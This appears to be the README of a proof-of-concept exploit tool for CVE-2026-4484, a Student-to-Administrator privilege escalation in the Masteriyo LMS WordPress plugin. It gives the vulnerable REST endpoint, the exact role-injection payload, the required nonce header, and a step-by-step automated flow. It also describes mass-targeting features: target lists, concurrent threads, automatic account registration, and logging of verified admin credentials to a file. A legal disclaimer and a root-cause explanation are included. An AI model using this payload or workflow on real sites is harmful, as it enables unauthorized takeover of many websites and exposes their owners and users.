CVE-2026-4484

Masteriyo LMS <= 2.1.6 - Missing Authorization to Authenticated (Student+) Privilege Escalation to Administrator

🔴 Vulnerability Overview

CVE-2026-4484 — Authenticated Privilege Escalation (Student → Administrator)

Description:
The Masteriyo LMS plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.1.6. The vulnerability originates in the InstructorsController::prepare_object_for_database function, which fails to properly restrict role assignment during REST API requests. An authenticated attacker with as little as Student-level access can craft a specially formed POST request to the Masteriyo REST API endpoint — injecting "roles": ["administrator"] into the request payload — to silently elevate their account to WordPress Administrator, achieving full site takeover without any administrative interaction.

🛠️ Tool Description

This is a Proof-of-Concept (PoC) exploitation script targeting WordPress installations running a vulnerable version of the Masteriyo LMS plugin. The tool supports two attack modes:

Attack Flow

[Register / Login as Student]
         ↓
[Fetch Dashboard Context — user_id + nonce]
         ↓
[POST /wp-json/masteriyo/v1/users/instructors/{id}]
[Payload: {"roles": ["administrator"]}]
         ↓
[Re-login with fresh session]
         ↓
[Verify /wp-admin access → confirmed Administrator]
         ↓
[Write to Login_admin.txt]

📋 Requirements

System Requirements

• Python 3.8 or higher
• Linux / Windows / macOS

Python Dependencies

pip install requests urllib3 colorama

Or via requirements file:

pip install -r requirements.txt

requirements.txt:

requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6

🚀 Installation

# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-4484.git
cd CVE-2026-4484

# Install dependencies
pip install -r requirements.txt

# Run the tool
python3 CVE-2026-4484.py

⚙️ Usage

Basic Run

python3 CVE-2026-4484.py

The tool uses an interactive terminal interface — all parameters are prompted at runtime.

🗂️ Target List Format

Create a plain text file (e.g., list.txt) with one target per line:

https://target1.com
https://target2.com
http://target3.com/wordpress

🟥 Mode 1 — Nx_1 (Register + Login + Escalate)

Use this mode when you have no existing account on the target. The tool registers a new student account automatically, then escalates it.

Select mode (1=Nx_1, 2=Nx_2) [2]: 1
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username to register (Nx_1) [Nxploited]: Nxploited
Email to use for registration+login (Nx_1) [[email protected]]: [email protected]
Password to use (Nx_1) [Nx_admin]: Nx_admin123!

Steps performed automatically:

1. GET /account/signup/ → extract registration nonce
2. POST /st/ → register new account as Student
3. GET /account/ → extract login nonce
4. POST /wp-admin/admin-ajax.php → login via Masteriyo AJAX
5. GET /account/#/dashboard → extract current_user_id + nonce
6. POST /wp-json/masteriyo/v1/users/instructors/{id} with {"roles":["administrator"]}
7. Re-login with fresh session → verify admin panel access
8. Write confirmed hits to Login_admin.txt

🟩 Mode 2 — Nx_2 (Login + Escalate — Existing Account)

Use this mode when you already have a valid Student or Instructor account on the target.

Select mode (1=Nx_1, 2=Nx_2) [2]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username or Email for login+escalation (Nx_2) [admin]: [email protected]
Password for that user: mypassword

Steps performed automatically:

1. GET /account/ → extract login nonce
2. POST /wp-admin/admin-ajax.php → login via Masteriyo AJAX
3. GET /account/#/dashboard → extract current_user_id + nonce
4. POST /wp-json/masteriyo/v1/users/instructors/{id} with {"roles":["administrator"]}
5. Re-login with fresh session → verify admin panel access
6. Write confirmed hits to Login_admin.txt

📁 Output Files

Output Format

https://target.com/wp-login.php user:[email protected]|pass:Nx_admin123!

Sample Terminal Output

[OK]    https://target.com :: LOGIN OK :: success
[OK]    https://target.com :: DASHBOARD :: user_id=42 nonce=a1b2c3d4e5
[OK]    https://target.com :: ESCALATE SUCCESS :: user_id=42 username=nxploited roles=['administrator']
[OK]    https://target.com :: ADMIN SESSION VERIFIED (dashboard + plugin-install access).

🔍 Technical Details

Vulnerable Endpoint

POST /wp-json/masteriyo/v1/users/instructors/{user_id}

Exploit Payload

{
  "roles": ["administrator"]
}

Required Headers

Content-Type: application/json
X-WP-Nonce: <extracted_from_dashboard>

Root Cause

The InstructorsController::prepare_object_for_database function in Masteriyo LMS processes the roles parameter from the REST request body without verifying whether the requesting user has the edit_users or promote_users capability. Any authenticated user (Student-level or above) who can reach this endpoint can submit an arbitrary role value — including administrator — which is then persisted directly to the WordPress user metadata table.

📡 Contact & Author

By: Nxploited (Khaled Alenazi)

 

⚠️ Legal Disclaimer

THIS TOOL IS PROVIDED FOR EDUCATIONAL AND AUTHORIZED SECURITY RESEARCH PURPOSES ONLY.

The author, Nxploited (Khaled Alenazi), and all contributors to this project do not condone, support, or take any responsibility for the misuse of this tool or any damage caused by the use of this software against systems for which you do not have explicit written authorization.

• ✅ Permitted: Use on systems you own or have been granted explicit written permission to test.
• ❌ Prohibited: Use against any systems without prior explicit written authorization from the system owner.

Unauthorized access to computer systems is illegal and punishable under applicable laws including but not limited to the Computer Fraud and Abuse Act (CFAA), the Computer Misuse Act (CMA), and equivalent legislation worldwide.

By using this tool, you accept sole responsibility for your actions and confirm that you have the legal authority to test the targeted systems.

The author assumes no liability whatsoever for any direct, indirect, incidental, or consequential damages arising from the use or misuse of this software.

_{© 2026 Nxploited (Khaled Alenazi) — For authorized security research only.}